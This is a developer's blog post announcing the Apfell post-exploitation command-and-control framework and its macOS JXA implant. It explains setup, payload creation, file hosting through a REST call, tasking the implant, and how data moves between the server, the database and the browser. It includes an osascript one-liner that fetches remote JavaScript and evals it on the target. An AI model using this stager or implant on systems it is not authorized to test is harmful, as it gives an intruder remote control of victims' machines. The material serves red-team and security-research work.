Bare-Bones Apfell server code release
Published:
It’s been a long time since my last post, but it’s finally time for the bare-bones Apfell server code release. There will also be a drop of a bare-bones Apfell implant to go with it and an accompanying blog series coming soon talking about design decisions, future ideals, and updates.
I’ve added a few more components to the bare-bones release to round it out and make it at least somewhat usable. Specifically:
- Payloads - JXA
- I created the ability to use the base JXA template, swap in your own callback interval and server/port
- Attacks - Host File
- I created the ability for the server to spin off python subprocesses to host files with user defined directories and ports to server up the JXA implants
- API - CommandLines
- I created a relatively simple way to display examples command lines and explanations for the RESTful interfaces exposed by the server
- API - apfell-jxa help
- I added in a little bit of information about the different basic commands available in the jxa implant and what the differences are
Before I post the link for the apfell code, we should take one more walkthrough for how information flows between all the components.
You can pip install the requirements.txt document to get all of the necessary python libraries, then run the setup.sh script to install and setup the postgresql database. Inside of the main __init__.py file, you’ll find a few things for you to customize. Specifically, the db_user, db_pass, and server_ip address should all be updated for your environment. Then, simply run python server.py
and you’re up and running!
Open up a browser and navigate to the ip:port you just specified. You won’t have an account yet, so click Click to Register!
and create an account. When you log in, you’ll be welcomed by a screen like the following:
Click over to payloads and JXA (this is currently the only payload available, but there will be more coming soon). Obfuscation is an example of something that’s hopefully coming soon, but right now that checkbox does nothing. Fill out all of the fields and click Create Payload
to create your first apfell-jxa payload. Specify the callback host and port to be where you will be calling back to (can be this server or a redirector). Don’t worry about hosting it yet, we’ll do that part next. I give you three possibilities for how to execute the file depending on how you plan on getting the payload over to the remote system. Apfell is a post-exploit system, so it’s up to you to find the initial access vector, then you can start using this.
The next main step is to host this file somewhere. I have a lot of ideas for how to display this information and save it off, but it’s not required for the initial bare-bones release. If you go to Attacks-Host File
, you’ll just see some basic information. The main way to work with this right now is through the RESTful API. For our example, we already have Apfell running on port 80, so lets host this file on port 8080. It’s pretty simple with the RESTful API:
appy@ubuntu:~$ curl -X POST -d '{"port":8080, "directory": "/home/appy/Desktop/"}' http://localhost/api/v1.0/attacks/host_file
We can confirm this is running either with another query or from the browser by hitting the API:
Now, we can go over to the target macOS box, open up the Terminal.app, and run the following code: osascript -l JavaScript -e "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('HTTP://192.168.0.119/example.js')),$.NSUTF8StringEncoding)));"
Now you can click over to Operations -> Callbacks
and see our new callback!
click on Interact
to have a new tab pop up that you can select. You’ll also notice when you select this tab that the box at the very bottom of the screen changed to reflect the information about the current tab. This is where you can submit tasks for the apfell-jxa implant. For example, we can do a few different kinds of tasks, and they will illustrate the output format for us:
There are three types of operations for the current apfell-jxa implant - shell commands, javascript commands, and deepunwrapped javascript commands (these are the ones utilizing the ObjectiveC-JavaScript bridge). The last one is potentially the most powerful, but also the most confusing. Using the ObjectiveC bridge, I called and ObjectiveC function to get the current list of names my host has. The js
command can also run these commands, but if the resulting type is an ObjectiveC type, you’ll have issues getting anything back. The unwrap (or deepunwrap) capabilities allows us to change standard datatypes back from the ObjectiveC world to the normal world.
When you’re done working with an implant, you can task it to exit and remove it from your screen. When you do this, I mark the implant as no longer active, but I keep it in the database. I do this so that when I write a report-generating feature, you’ll still have all the info from all of the implants spawned during an operation, but you don’t need to leave them cluttering up your view. If you simply click the Hide Tasks
option for an implant, all that does is hide the bottom level tab from your view so things are a little cleaner. Keystrokes
and Screenshots
are currently placeholders, but are on my laundry list of things to add to the next release.
If you want information on the RESTful command-line interactive capability of Apfell, go to API -> CommandLines
.
Lastly, there’s a little bit of documentation on the three commands for apfell-jxa that I already mentioned under the API -> apfell-jxa help
dropdown.
Like I said, this is a pretty bare-bones release, but illustrates everything working together through the process of making a working framework. Now, that was the UI and a little bit of the RESTful interface, but how does the information actually flow for all of that? It seems like a lot of moving pieces based on what I covered in the previous blog posts, but it’s not too crazy.
When the implant initially calls home, it sends a RESTful HTTP POST request to the server with some basic information. This information is then stored in the postgres database. If you don’t have the browser open, the process stops there until you manually query it with the other RESTful APIs. If you do have the browser open though, when you go to the Operations -> callbacks
page, you’re opening a few websockets back to the database and requesting all of the relavent information about the current callbacks, and asking to be notified if there are any updates. When you do get a new callback, a callback checks for new tasking, or some status on your callback changes, this information gets pushed asynchronous from the database through the web server up to your browser. This same process happens with any tasking and responses. You can then interact with the dynamically generated information for that callback in the browser. When you want to task the implant, your commands are actually just RESTful queries back to the server, which saves the information in the database. Two things now happen:
- There was a change in the database, so that change is pushed back up to your browser. This means that I purposefully don’t immediately display your tasking to you. I wait until it’s confirmed by the database. I do this because of this next part.
- Now that your tasking is in the database, the next time the implant checks in, it’ll get that tasking and set the status of the task to in progress. This way you’re only seeing what’s registered in the database. This helps keep everybody on the same page with each other and the implants.
I didn’t want a scenario when it looks like you task something on your screen, but somehow the connection to the server is dead. You’ll only see the tasking if it’s to the point where the implant can actually see it. Similarly, I keep track of the progress of tasking via the RESTful APIs. I don’t display this to the user since it might be a bit much, but if you query the tasks via the API, you’ll see that their status is either submitted
, processing
, or completed
.
See, not too crazy. The hardest part for me to learn has been all of the web aspects. I’ve never done web programming before, so trying to make sure that the interfaces you see for the callbacks is all dynamically generated and updated in real time without having to refresh has been an interesting challenge. One of the next big things for me to tackle is getting proper authentication and encryption throughout the process. Since this was all new to me, I wanted to make sure I could get the basics down before starting to add complexity.